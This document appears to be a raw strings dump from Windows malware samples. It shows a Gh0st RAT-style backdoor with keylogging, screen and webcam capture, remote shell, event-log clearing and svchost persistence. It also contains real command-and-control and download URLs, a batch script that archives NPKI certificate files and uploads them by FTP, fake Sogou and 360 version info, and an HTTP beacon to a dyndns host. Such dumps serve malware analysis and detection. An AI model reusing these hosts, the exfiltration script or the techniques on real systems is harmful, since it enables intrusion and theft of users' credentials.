GetDiskFreeSpaceExA
GetVolumeInformationA
GetLogicalDriveStringsA
FindClose
LocalFree
FindNextFileA
LocalReAlloc
FindFirstFileA
LocalAlloc
RemoveDirectoryA
GetFileSize
CreateFileA
ReadFile
SetFilePointer
WriteFile
MoveFileA
lstrcatA
GetSystemDirectoryA
CreateProcessA
ExitProcess
Process32Next
lstrcmpiA
Process32First
CreateToolhelp32Snapshot
HeapFree
MapViewOfFile
CreateFileMappingA
UnmapViewOfFile
GetModuleHandleA
GlobalFree
GlobalUnlock
GlobalLock
GlobalAlloc
GlobalSize
GetStartupInfoA
WaitForMultipleObjects
LocalSize
TerminateProcess
OpenProcess
GetCurrentThreadId
GlobalMemoryStatus
GetSystemInfo
GetComputerNameA
GetVersionExA
OpenEventA
SetErrorMode
GetCurrentProcess
GetWindowsDirectoryA
SetFileAttributesA
CopyFileA
ExpandEnvironmentStringsA
GetModuleFileNameA
KERNEL32.dll
DispatchMessageA
TranslateMessage
GetMessageA
CharNextA
wsprintfA
GetWindowTextA
MessageBoxA
LoadCursorA
BlockInput
SendMessageA
keybd_event
MapVirtualKeyA
SetCapture
WindowFromPoint
SetCursorPos
mouse_event
CloseClipboard
SetClipboardData
EmptyClipboard
OpenClipboard
GetClipboardData
GetSystemMetrics
SetRect
GetDC
GetDesktopWindow
ReleaseDC
DestroyCursor
GetCursorInfo
GetCursorPos
ExitWindowsEx
GetWindowThreadProcessId
IsWindowVisible
CloseDesktop
SetThreadDesktop
OpenInputDesktop
GetUserObjectInformationA
GetThreadDesktop
OpenDesktopA
PostMessageA
IsWindow
CloseWindow
CreateWindowExA
LoadMenuA
RegisterClassA
LoadIconA
USER32.dll
GetStockObject
GDI32.dll
RegCloseKey
RegQueryValueExA
RegOpenKeyExA
CloseEventLog
ClearEventLogA
OpenEventLogA
RegSetValueExA
RegCreateKeyExA
CloseServiceHandle
DeleteService
OpenServiceA
OpenSCManagerA
FreeSid
SetSecurityDescriptorDacl
AddAccessAllowedAce
InitializeAcl
GetLengthSid
AllocateAndInitializeSid
InitializeSecurityDescriptor
RegOpenKeyA
SetServiceStatus
RegisterServiceCtrlHandlerA
UnlockServiceDatabase
ChangeServiceConfig2A
LockServiceDatabase
CreateServiceA
StartServiceA
AdjustTokenPrivileges
LookupPrivilegeValueA
OpenProcessToken
RegSaveKeyA
RegRestoreKeyA
RegDeleteKeyA
ADVAPI32.dll
SHGetSpecialFolderPathA
SHELL32.dll
??2@YAPAXI@Z
??3@YAXPAX@Z
puts
__CxxFrameHandler
memmove
putchar
ceil
_ftol
strstr
_CxxThrowException
rand
sprintf
strncpy
free
malloc
_except_handler3
strrchr
_beginthreadex
atoi
wcstombs
_access
srand
calloc
MSVCRT.dll
??1type_info@@UAE@XZ
_initterm
_adjust_fdiv
WSAIoctl
WSASocketA
WS2_32.dll
?_Tidy@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEX_N@Z
?_C@?1??_Nullstr@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@CAPBDXZ@4DB
??1?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAE@XZ
?assign@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@QAEAAV12@PBDI@Z
?_Grow@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAE_NI_N@Z
?_Refcnt@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEAAEPBD@Z
?_Eos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEXI@Z
?_Split@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@AAEXXZ
?_Xran@std@@YAXXZ
?npos@?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@2IB
MSVCP60.dll
_strrev
_stricmp
Work.dll
EndWork
Runing
ServiceMain
Working
WINMM.dll
waveOutUnprepareHeader
waveOutClose
waveOutReset
waveInUnprepareHeader
waveInClose
waveInStop
waveInReset
waveOutWrite
waveInStart
waveInAddBuffer
waveInPrepareHeader
waveInOpen
waveInGetNumDevs
waveOutPrepareHeader
waveOutOpen
waveOutGetNumDevs
InitializeCriticalSection
kernel32.dll
WS2_32.DLL
connect
.PAX
.PAD
bad Allocate
bad buffer
2008
2003
2000
ProductName
SOFTWARE\Microsoft\Windows NT\CurrentVersion
%s%d%s
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E)
InternetOpenUrlA
InternetOpenA
InternetCloseHandle
WININET.dll
%d.%d.%d.%d
ShellExecuteA
Shell32.dll
SHGetFileInfoA
%s\%s
%s%s%s
%s%s*.*
\syslog.dat
WinSta0\Default
Gh0st Update
System
Security
Application
NetSubKey
EnumWindows
user32.dll
IMM32.dll
[%02u-%02u-%d %02u:%02u:%02u] (%s)
GetWindowTextA
GetActiveWindow
GetKeyNameTextA
CallNextHookEx
ImmReleaseContext
ImmGetCompositionStringA
ImmGetContext
MyCreateMa
SetWindowsHookExA
UnhookWindowsHookEx
\Plugin
PluginEnd
PluginStart
PluginDelete
%s   %s   %s
PluginDescript
%s\*.*
DestroyCursor
User32.dll
SystemParametersInfoA
USER32.dll
SelectObject
CreateDIBSection
CreateCompatibleDC
GDI32.dll
DeleteObject
DeleteDC
BitBlt
GetDIBits
CreateCompatibleBitmap
CreateProcessA
\cmd.exe
CreatePipe
Kernel32.dll
CloseHandle
DisconnectNamedPipe
TerminateProcess
TerminateThread
PeekNamedPipe
GetModuleFileNameExA
EnumProcessModules
PSAPI.dll
SeDebugPrivilege
SeShutdownPrivilege
InternetReadFile
Mozilla/4.0 (compatible)
CVideoCap
capCreateCaptureWindowA
AVICAP32.dll
#32770
CreateWindowExA
capGetDriverDescriptionA
ICSeqCompressFrame
ICSeqCompressFrameStart
ICSendMessage
ICOpen
MSVFW32.dll
ICClose
ICCompressorFree
ICSeqCompressFrameEnd
tur&b`ohpcvo/akn
kwur9*-qus/achfs,`lo.hs(vyv
13321=07^e`ohpcvo
Qrf[sb
Wmhnvf"Uqkbg`vwm"Gddm",QQB!!Qaqwhfg
"SRB"
 QzqqmhSmlv _Wxqpfh;0XWxbQr`/q{e
~MHz
HARDWARE\DESCRIPTION\System\CentralProcessor\0
Global\Net_%d
My Win32 Applaction
WIN32 Application
SeBackupPrivilege
SeRestorePrivilege
ServiceDll
%s\Parameters
SOFTWARE\%d
Net-Temp.ini
SYSTEM\CurrentControlSet\Services\
imgsvc
SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost
\Parameters
%SystemRoot%\System32\svchost.exe -k imgsvc
Glable__Wait
c:\NT_Path.jpg
1.1.4
need dictionary
incorrect data check
incorrect header check
invalid window size
unknown compression method
invalid bit length repeat
too many length or distance symbols
invalid stored block lengths
invalid block type
incompatible version
buffer error
insufficient memory
data error
stream error
file error
stream end
invalid distance code
invalid literal/length code
incomplete dynamic bit lengths tree
oversubscribed dynamic bit lengths tree
incomplete literal/length tree
oversubscribed literal/length tree
empty distance tree with lengths
incomplete distance tree
oversubscribed distance tree
.?AVtype_info@@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.34</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency></assembly>
1#1+141A1I1Q1a1i1q1
3Z3`3g3
4'4Y4^4
5;5A5F5o5t5
5F6Q6b6
6C7_7e7z7
7C819F9g9m9|9
:!:U:z:
:$;.;
<)<X<`<
<+=?=z=
> >&>;>
?8?F?T?e?p?
0-0?0]0t0
0>1Q1
4*5>5T5h5|5
5K7X7^7v7
768B8|8
9=9B9_9
:$:*:3:F:Y:
;!;9;[;|;
<$=N=o=
>A>T>x>
>&?4?8?<?@?D?H?L?P?T?X?\?
"070=0[0l0
041=1
2C2I2h2
3"3,3I3Z3f3l3
4#4,4M4Z4m4r4y4
5/5T5
607|7
949j9
9 :[:`;h;{;
;3<T<
<K=a=i=(>,>0>4>8><>@>D>H>L>P>T>X>\>f>k>
?8?L?a?n?
2!2[2
2:3D3K3
3&4B4M4
4'535>5E5
7/7_7
8,989F9P9^9w9
:f;w;
;B<k<
<[=s=
0*020Y0i0u0
1C2e2o2#3E3O3
4%4/4
7#7E7O7
8%8/8
9R:~:
:!;';.;5;h;
<5<J<Q<p<w<
<'=.===^=x=
>D>r>
?$?/?
1"141Y1_1t1x1|1
122;2B2M2j2
4+4u4
4F5R5_5k5p5z5
5,63696>6F6r6w6
7 747:7Y7t7
8$8W8^8
9q9x9
:#:,:3:8:>:C:L:Q:\:a:m:v:
;#;@;
<$<5<A<L<q<
='=.=5=O=a=h=o=
>.><>M>T>g>}>
?N?]?d?i?n?
0#00080B0Q0V0]0c0s0
1M1V1]1x1
2 2U2\2
3#3R3Z3_3p3u3
324[4t4
6)6j6
6+7R7^7e7s7
888D8L8h8
:*:1:?:F:U:{:
>!>Y>u>
L03181<1@1D1H1L1P1T1X1\1`1d1h1l1
3E3K3R3]3n3}3
5X5b5v5
5X6\6`6d6h6l6p6
7'717a7g7
9!959K9t9|9
:U:Z:
:3;R;k;q;w;|;
< <B<
>)>R>[>d>
0,020:0J0O0j0p0u01171@1
2p2u2|2
2,323?3R3Z3c3
5!545O5
6!6V6^6e6
6S7r7x7
82878q8x8
909r9
:":':c:
:B;R;r;
;1<C<
=)>X>]>r>
?B?e?{?
0!0(0;0f0
1&1.1@1K1t1{1
2:2A2b2v2
273d3
5 5-54595N5S5\5k5t5
686a6g6l6
8Q8Z8~8
8 :3:c:o:
:#;>;M;d;h;l;p;v<}<
=+=J=r=|=
>)?/?5?d?
0f1q1
2.3[3
4:4M4
5"5I5j5p5u5{5
6 6>6D6_6s6x6
7$8X8k8}8
9#9+90969@9W9_9j9r9|9
:<:C:i:n:u:|:
:G;U;\;c;
<"<F<`<k<
>4?9?
Q0`0
1^1e1p1v1
2;2d2
3D3c3
5<5I5O5d5
;(;.;3;N;Z;a;k;y;
;=<C<
<7=g=
5 5$5(5,5v5
557F8
9=9w9|:5<A<P<_<
={>*?
2e3T4`6d6h6l6p6t6x6|6
8a:o:
;E=J=
-0<0_4k5_6
;G<g<
1<2[2z2
7"8(8.8B8
9$9/9<9F9[9g9m9
: :&:9:Y:|:
;4;T;e;j;
<7<W<w<
</=T=
>9>Q>i>
4 4$4(4p4|4
t1x1
2 2<2H2d2l2t2
3 3(3X3l3x3
4(4D4P4l4t4
5,545@5\5d5p5
606D6P6l6x6
7 7P7d7p7x7
848@8\8h8
9,989T9\9
081<1P1T1l1
9999999
y999
y99w
s:/::@s
         C CTz
0      CCCCCCCCCCTz
       C CCCCCCCICIJQz
p     ((+))(+++.C.IIJJJJW
/
!#*,,HJJJJJP
   9
$*HHKKPRS
!*2JPSSSx
@
'HPSSk
B  t
"4PZ\x
"6Wjl
   BAAABC adw
:    AAACCEE.CCEP
B   AAACCCCAEEEEEJJh
  B AB +B+++...E.H.IM
    ))!
!##$**$$
:  +
`[jkl
mVRYY[jkx
!CJJJJJIKKKYRRRRSS\jk
5  T
*.JJJKKKKKKKRRYYS\jk
  CC
*.JJJKKKKKRRRRYS\jl
 C CF
$12HHKKKRRRRYS\j
p  CACO
%$11122424[\j
/ AACACF
71V\l
 CCCACCAEv
/CAACCCAIAI
CACACCEEIIIIS
3V\l
LCCCCEEEIAJFJJJSl
pOEEEIIIJJJJJJRRRRSYRS[YY[[\
waIIJJJJRJRRRRRRYXXXXS\l
dJJRJRJRRRRRXXXX[[
tSRRRRRXXXX[[\
wZRRXXX[[
}5<<<V7x
<<<<<<AADDKt
%%'''',,CKMf
(.KN\
01OSe
0R`a
/<Gb<<ggv
<<<<+,,?ACCb
<<,$
hOY``l
 1KKUOYYYY_`
 11.KIOOS`
<<AX
o<<A<K
8<AADDD\
VA<DDJJJKe
pRJDMMMOOYYYYY___
}eMNNUNUUU___
lYUU___^
#&&&&&******&
*********
(*****
****
'***%
!! !    !!!!#
OLEE
-+'e
a]Ud
gc\_
jf_a
a]V]
))'4
a]Va
lkiU
c_Xd
eaZf
~}{b
gc[g
ZWSE
~~~&
jf]s
/-)s
ZWOQ
.,(-
443/
3220
31-1
>>=2
<:6J
VVU4
bba.
www.
___$
yyy3
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><assemblyIdentity version="1.0.0.0" processorArchitecture="X86" name="Nullsoft.NSIS.exehead" type="win32"/><description>Nullsoft Install System v2.34</description><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="X86" publicKeyToken="6595b64144ccf1df" language="*" /></dependentAssembly></dependency></assembly>
!This program cannot be run in DOS mode.
MHIz
Y{jN'
lq}_'X
---------------------snip---------------------snip---------------------snip
h`]A
hP^A
h8_A
__GLOBAL_HEAP_SELECTED
__MSVCRT_HEAP_SELECT
runtime error
TLOSS error
SING error
DOMAIN error
R6028
- unable to initialize heap
R6027
- not enough space for lowio initialization
R6026
- not enough space for stdio initialization
R6025
- pure virtual function call
R6024
- not enough space for _onexit/atexit table
R6019
- unable to open console device
R6018
- unexpected heap error
R6017
- unexpected multithread lock error
R6016
- not enough space for thread data
abnormal program termination
R6009
- not enough space for environment
R6008
- not enough space for arguments
R6002
- floating point not loaded
Microsoft Visual C++ Runtime Library
Runtime Error!
Program:
<program name unknown>
SunMonTueWedThuFriSat
JanFebMarAprMayJunJulAugSepOctNovDec
GetLastActivePopup
GetActiveWindow
MessageBoxA
user32.dll
string too long
invalid string position
ios::eofbit set
ios::failbit set
ios::badbit set
Unknown exception
HeapAlloc
GetProcAddress
LoadLibraryA
lstrcatA
lstrlenA
CloseHandle
ReleaseMutex
GetLastError
OpenMutexA
GetTempPathA
WinExec
DeleteFileA
Sleep
FreeLibrary
WriteFile
lstrcpyA
CreateFileA
WaitForSingleObject
CreateThread
GetWindowsDirectoryA
GetCurrentProcess
CreateMutexA
ExitProcess
CopyFileA
GetModuleFileNameA
GetSystemDirectoryA
KERNEL32.dll
wsprintfA
USER32.dll
RegCloseKey
RegOpenKeyExA
RegEnumValueA
RegEnumKeyExA
RegQueryValueExA
RegSetValueExA
RegCreateKeyA
RegOpenKeyA
AdjustTokenPrivileges
LookupPrivilegeValueA
OpenProcessToken
ADVAPI32.dll
WSAIoctl
WS2_32.dll
URLDownloadToFileA
urlmon.dll
PathRemoveFileSpecA
SHLWAPI.dll
RtlUnwind
TerminateProcess
FindFirstFileA
FindNextFileA
FindClose
FileTimeToSystemTime
FileTimeToLocalFileTime
GetModuleHandleA
GetStartupInfoA
GetCommandLineA
GetVersion
HeapReAlloc
HeapSize
HeapFree
UnhandledExceptionFilter
FreeEnvironmentStringsA
FreeEnvironmentStringsW
WideCharToMultiByte
GetEnvironmentStrings
GetEnvironmentStringsW
SetHandleCount
GetStdHandle
GetFileType
GetEnvironmentVariableA
GetVersionExA
HeapDestroy
HeapCreate
VirtualFree
VirtualAlloc
IsBadWritePtr
MultiByteToWideChar
GetStringTypeA
GetStringTypeW
GetTimeZoneInformation
SetUnhandledExceptionFilter
IsBadReadPtr
IsBadCodePtr
GetCPInfo
GetACP
GetOEMCP
LCMapStringA
LCMapStringW
CompareStringA
CompareStringW
SetEnvironmentVariableA
RaiseException
SetFilePointer
FlushFileBuffers
ReadFile
SetStdHandle
REG_BINARY
%-24s %-15s
REG_MULTI_SZ
%-24s %-15s 0x%x(%d)
REG_DWORD
%-24s %-15s %s
REG_EXPAND_SZ
REG_SZ
[%s]
siqiao.gnway.net:8888
http://110.34.198.123:888/3.txt
174.139.45.210
xxxxxxxxxxxxx
ftp4aol
Twitter51234
http://siqiao.gnway.net/rar.exe
My_Host_URL
SYSTEM\CurrentControlSet\Services\%s
BITS
SYSTEM\CurrentControlSet\Services\BITS\
URLDownloadToFileA
urlmon.dll
Test.exe
http://ip.3322.net/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET4.0C; .NET4.0E)
InternetReadFile
InternetOpenUrlA
InternetOpenA
InternetCloseHandle
WININET.dll
del %0
del %Update_TmpFile% /q
rd %Update_TmpFile% /q
del %Update_FileName%
rem Xcopy %Update_TmpFile%* C:\Temp /y
del ftp.sman /q
FTP -s:ftp.sman -i
echo bye >>ftp.sman
echo put %Update_FileName% >>ftp.sman
echo %Update_ftpUserPass% >>ftp.sman
echo %Update_ftpUserName% >>ftp.sman
echo open %Update_ftpServer% >>ftp.sman
"rar.exe" a %Update_FileName% %Update_TmpFile% "%Update_File%"
set Update_date=%date:~0,4%%date:~5,2%%date:~8,2%
set Update_ftpUserPass=
set Update_ftpUserName=
set Update_ftpServer=
set Update_FileName=
set Update_TmpFile=C:\~MyTemp\
set Update_File=
\*.*
Update.bat
npki
NPKI
Userinit
Software\Microsoft\Windows NT\CurrentVersion\Winlogon
%s%s%s
\Tasks\csrss.exe
%s%s
\system32\userinit.exe
SeDebugPrivilege
rss.exe
\System32\rar.exe
\Tasks
\drivers\etc\Changer.bat
.?AVios_base@std@@
.?AV?$basic_ios@DU?$char_traits@D@std@@@std@@
.?AV?$basic_istream@DU?$char_traits@D@std@@@std@@
.?AV?$basic_ostream@DU?$char_traits@D@std@@@std@@
.?AV?$basic_streambuf@DU?$char_traits@D@std@@@std@@
.?AV?$basic_filebuf@DU?$char_traits@D@std@@@std@@
.?AV?$basic_ios@GU?$char_traits@G@std@@@std@@
.?AV?$basic_istream@GU?$char_traits@G@std@@@std@@
.?AV?$basic_ostream@GU?$char_traits@G@std@@@std@@
.?AV?$basic_filebuf@GU?$char_traits@G@std@@@std@@
.?AV?$basic_streambuf@GU?$char_traits@G@std@@@std@@
.?AVexception@@
.?AVlogic_error@std@@
.?AVlength_error@std@@
.?AVout_of_range@std@@
.?AVruntime_error@std@@
.?AVfailure@ios_base@std@@
.?AVfacet@locale@std@@
.?AV_Locimp@locale@std@@
.?AVtype_info@@
!Win32 .EXE.
2J#R
.MPRESS1
.MPRESS2I
.rsrc
v2.17U
o\BU
OCxc
PZ8P
Q---------------------snip
C}'g
LJ#RBome
LJ#RBome
LJ#RBome
LJ#RBome
LJ#RBome
LJ#RBome
LJ#RBome
LJ#RBome
LJ#RBome
[hQkS
c!jWW
[hQkS
LJ#RBome
LJ#RBome
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
      </requestedPrivileges>
    </security>
  </trustInfo>
</assembly>

Unicode Strings:
---------------------------------------------------------------------------
jjjj
jjjjjj
jjjj
jjjj
jjjj
jjjj
jjjj
jjjj
jjjj
jjjj
jjjj
jjjj
jjjj
jjjjh
jjjj
jjjjj
VS_VERSION_INFO
StringFileInfo
080404b0
Comments
CompanyName
Sogou.com Inc.
FileDescription
FileVersion
5.0.0.3787
InternalName
SogouPY SogouTSF
LegalCopyright
? 2010 Sogou.com Inc. All rights reserved.
LegalTrademarks
OriginalFilename
SogouTSF.dll
PrivateBuild
ProductName
ProductVersion
5.0.0.3787
SpecialBuild
VarFileInfo
Translation
Menu
Menu
Dialog
System
Cancel
Sting
VS_VERSION_INFO
StringFileInfo
080404b0
Comments
CompanyName
Sogou.com Inc.
FileDescription
FileVersion
5.0.0.3787
InternalName
SogouPY Config
LegalCopyright
? 2010 Sogou.com Inc. All rights reserved.
LegalTrademarks
OriginalFilename
Config.exe
PrivateBuild
ProductName
ProductVersion
5.0.0.3787
SpecialBuild
VarFileInfo
Translation
jjjj
@jjj
@jjj
@jjj
         (((((                  H
VS_VERSION_INFO
StringFileInfo
080404b0
CompanyName
360.cn
FileDescription
FileVersion
1, 0, 0, 1007
InternalName
360DeskAna.exe
LegalCopyright
(C) 360.cn Inc. All Rights Reserved.
OriginalFilename
360DeskAna.exe
ProductName
ProductVersion
1, 0, 0, 1007
VarFileInfo
Translation

File: msgsm.exe
MD5:  aaf73666cbd750ed22b80ed836d2b1e4
Size: 68608

Ascii Strings:

GET /29af9cdc/page_12082223.html HTTP/1.1
Accept: */*
Cookie: XX=0; BX=0
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Host: gorush.dyndns-web.com
Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache




---------------------------------------------------------------------------
!This program cannot be run in DOS mode.
"'ue-zu
"'uRich
.text
`.data
.rsrc
@.reloc
{5947BACD-63BF-4e73-95D7-0C8A98AB95F2}
XFILE
Parameters
Start
Invalid parameter passed to C runtime function.
(null)
('8PW
700PP
```hhh
xppwpp
RSDS](z
d:\lstudio\projects\lotus\elise\Release\SetElise\i386\SetElise.pdb
tGVh
j^Yhx
SVWj2^3
SSSS
PSSSSSS
u<j2^V
@@f;
@@f;
SVW3
PhCQ
FVSS
@@f;
PVShT
jXhp>
< wL
XPVj
0SSSSS
_^[]
0SSSSS
_^[]
VVVVV
8VVVVV
f91t
AAKu
AAGGf;
_^[]
SVW3
0WWWWW
BBFFf;
_^[]
URPQQh
L$,3
UVWS
[_^]
SVWj
_^[]
8csm
8csm
9MZt
_^[]
Y__^[
t<!E
9MZu+
@\f=
N+D$
$QPW
VVVVV
RPSW
90tN
@t7f
WSj0
PPPPP
WWWWW
SSSSS
YYt"
X^_[
UQPXY]Y[
SSSSS
CloseServiceHandle
QueryServiceStatusEx
OpenServiceA
RegEnumValueA
RegQueryInfoKeyA
RegOpenKeyExW
OpenSCManagerA
RegSetValueExW
RegCreateKeyA
RegSetValueExA
RegOpenKeyExA
StartServiceA
ADVAPI32.dll
CreateDirectoryW
CloseHandle
WriteFile
CreateFileW
MoveFileExW
MoveFileW
DeleteFileW
LockResource
LoadResource
SizeofResource
FindResourceA
MultiByteToWideChar
WinExec
WideCharToMultiByte
GetModuleFileNameW
OpenEventW
KERNEL32.dll
_strnicmp
memset
_errno
__getmainargs
_cexit
_exit
_XcptFilter
_ismbblead
exit
_acmdln
_initterm
_amsg_exit
__setusermatherr
_adjust_fdiv
__p__commode
__p__fmode
__set_app_type
msvcrt.dll
?terminate@@YAXXZ
_controlfp
free
mbtowc
__mb_cur_max
isleadbyte
_iob
_snprintf
_itoa
malloc
ferror
__badioinfo
__pioinfo
_fileno
_lseeki64
_write
_isatty
SHGetSpecialFolderPathW
SHELL32.dll
InterlockedExchange
Sleep
InterlockedCompareExchange
GetStartupInfoA
OutputDebugStringA
RtlUnwind
SetUnhandledExceptionFilter
GetModuleHandleA
QueryPerformanceCounter
GetTickCount
GetCurrentThreadId
GetCurrentProcessId
GetSystemTimeAsFileTime
TerminateProcess
GetCurrentProcess
UnhandledExceptionFilter
SetFileTime
SystemTimeToFileTime
rand
srand
kU'9
HMXB
?Zd;
?/L[
S;uD
z?aUY
D?$?
U>c{
zc%C1
.:3q
-64OS
NKeb
''$$$$  
0000>!
$/.&&&
iiiii)))9999;;;====;;;;>>???????
HIIIMMM]]]]]MMM]]]]]]]MMMM
@@@6666
ILLLL^^^BBBBBBBBBBBBBBBBBBBBBBBBBBBB
vwwwwwwwwwwwwwwwwwwwwwwwwwwwY-H0DDDDB
LLLLHHHHHHHHHHHHHHHhhh
&B#W6666
999999999999999yyy
VVVV\\\\
""".
000:
EEEC
rrr*
ppppppp
4448
MMM/
ccc[
gggE
aUUU
YRRR
,,,T
$$$L
hhh:
ZZZ2
FFF:
~~~@
tttP
0k++++++++++++++++++++++U
AAAAACCCC
P5Y<H---c
^;V9O*****l
w%@-B4QQ
HHHH
AAAA
.<||L^
:(hhtf&&
HHHHHH~~<<
HH||JJzzLLLLLLzz88
LLxxNN~~IIIIIIIIIIDNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNdNCIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIcIDN
E&K/
55555
SsV%%%%%
m]oCc
!!!!!
iYkGg
~^;I;T&
jDD7N=I,A(F OOO!D0
pppp
rR'T1CCCCCs
|\5[=R||||q{{{K3
=Y<_0T1
!G&O#F"
<DtFjJ8]>Hh
/[4[{
;_sSv
<<<<
tDvZz
xX4Q?
>[5Z/H
{WwR6
(P`TxX-C(F)^0
.VfR~^{
(N/F*O+
{{{{K3
6P1X4Q5
ppJJeeJJJJJJ""VV""RRhhGGhhhhDDDD~~~~NN66
;;XX77YY77RR11EEee@@33
-UeS
_;^2S*
/KeeU-
!M"E*Dd
eE(A/
1IyHdD'H&H-N:
cMMM}
9P>M9X6U0
.VfVzZ3]4@`
cOo_'
zTTTTTd
sS'^.Kk[#
~PPP
{{''
ffffV.
cMMMM
MMqc##
AAew77+9yy
hhhhhh
ffHH--UU000000b
yyI1
gIIIIy
####
MM,,YY::VV""""n|<<tf&&bp00pb""
LL|n..
XXDV
*8xxHZ
>,llpb""c!b&c%b*c)b.c-b2c1b6c5b:c9X:Y=X>Y1X2Y5X6Y)X*Y-X.Y!X"
oo__ll@@``EE666666
``]]xx
ggggggZZZZ
1111aa
}}..KK99OO**XXXX
QQ??^^<<PP5555ii::UU33GG00QQ##FF
WW>>]]//@@33\\::NN
EE,,BB&&II>>MM
RR''UU''BB,,XX
eeEE
``````##OO..]]..KK8888kkFFwwZZooBBppAAAAAA
YYdd,,xx,,||FFiiFFcc
kkkkkkkk
zz%%UU''BB$$
..@@%%QQ&&II;;PP~~
<<TT  TT$${{
bb@@llLLLLLLLL99JJ//]]
wwYY))[[44LL55
}}}}!!QQ##FF  SS}}
dddd44UU!!IIIIII
''CCCC33AA..HH!!MM(([[uu
^^^^^^^^nn
//]]88II<<YY**^^~~
}}GGggWW//
rrrr]]xx
//__>>YY<<ccFFvvDD
ccFFvvDD
ccMM%%QQ<<PPPPPPzzUU
OO77
::YY66XX66SS00DDdd
gg]]}}MM55
hhhhhhX
-E1E5
!G&O#F"
NN!![[22^^22SS||HHffVVvv^^==RR??OO..ZZ33QQ==XXccCC
QQqqIIggWWllLL
4444
|L}Qq
}]>Q?Y0Ww
"D+^0Tzzz22ff22bbbbbb**~~**zz))))
aQ`Ll
lL/@.H!Ff
3U:O!Ekkk[#
.F2F6Ee
qQ7V?S6RhHx
%]sssC;
5G"A7
'A I%@$
?????||
11IIyyKKggGG  EE11
22TT55\\00UU11
!!YY||
****
bR`Ll
pP4U!@`
cYyI1
lBBBByyYY||??
<<SS<<WW>>[[aaAA
AA||YY========t
lL<]/N#F2W%
1W"L/[2]3
VBGB
WW__wPh8o
WWWWw_
WWWW7W7_7_W_X P W'W_WWW__WWPXXXX}
z@eUg
zZwWWWZZPPPPPPuu
}}RRwwGGuu
rrHHmm]]oo
rrRR
_______^\X]ZRXS_OYNTTTTTTT
x$T&I#F%Q"~
S6Z3@%y+N"G&U0l)E,_:~2~"Kx@v*o
|8t8
```````8QQQc
ai)i
''RU=
CO'WE
q"t#
pvttt
FGGG
&UUUf
=YZZZ
"bbQ
H!```
'+CGFFF
Y37d
gggg'
(8xx
A@@@
ttt'
L>>>
~n..
-|-~
1`6f
Bl,,,
k{-{,
`p00f1
xp&N
qa7a6
8|CCC
.DEEE
B|||
nPPP
!eeee
'&'''
j(((
e,nnn
'7ww
2FhQ
>{ol
{FFF
d;e>
L95f0
R'+}
FFFF
Osss
`s33
82ZZZ
ZVWWW
/oo\
*WGG
++++
GGG9>
S,,,
~o//
Ouuu
f5c4
%%%M
nd't
\6({
Qiii
vNNN
!,HHHs
76660E
_^^^
!
0ZZ22333
}!$$$
XT>f8P
pGGG
,Fv&@
mhhhh
PPTTT
I=;:
M>&)
H432=
H}}}
Z'/GDEEEv
-RRR
uv-~
G////
9=WC
5qpq
atMMM
5{sp
0ZXXX0
IA+?dg
]XD;
RSR88
*:zz
loooo
/uCCC
n>TR
[jjj
+tEEE
=}}N
0ue6
pa!!
FB((BB
csqqq'p
*zvu
C)-}
xxxx8
2>???o
::::
n~>>
Z[[[[
gTfff
&bcb
h7iZ
 !!!
$d4c
Fp\\\
)<@Q
'7p74
Zppp
J```S
@X2>a
oiHHHK
z///GEDDD
2"{{{
JJJs
?kkk2
l888
yQQQ
_7#7ww
x,,,u
|[[[
/222Xj
4m4;
G_qqq
4$d$B
KyyyyP
aLLL
e<ej
eeee
c`gggg
dUTTT
B^^^
n7na
[XZZZZ
i:&&&
(+////
m( s%r
C```
-Sppp#K
accc
we%%
3!aa
1[i9
i@@@
\67`
++++^R:~k++
1UUUU
]5=(hh
GEEE~
'$iii:R
LGGG
kllll
q9M{3Gd,X^
bq9My
P^45c
&u#tG
9iii
bbbbQ
Khhh
`h(h
ed7_
i6h[
-hd,YQ
|xyyy/
)?www
CC7,
MM%%3ss
o(((q(
\\4w
i|l|<<
95777
Z24666
5c3U
f***|*BBY
$RHHH
hx88
MLLL
siwww
ovvvE
ws s s
@@@@&
loooo
QQQQ9:;;;
#6RB
td$$w$
7"RB
m--~-~{}8xx({(
^FFF
=(p`  }
O2:443
rjjj
=AR-*
]).D@
"2a7`S
k&'''
`WVVVoQ^
|`aaa
n"{Z'+AR
3333
:wg^
%PXW
X26h
cu55
`cn-
RR'#h#l#
\(+k
A9/oo
>pfff
l```
FAAA
TAAA
PSSS
usqqq
2'SB
;:::
mz::j
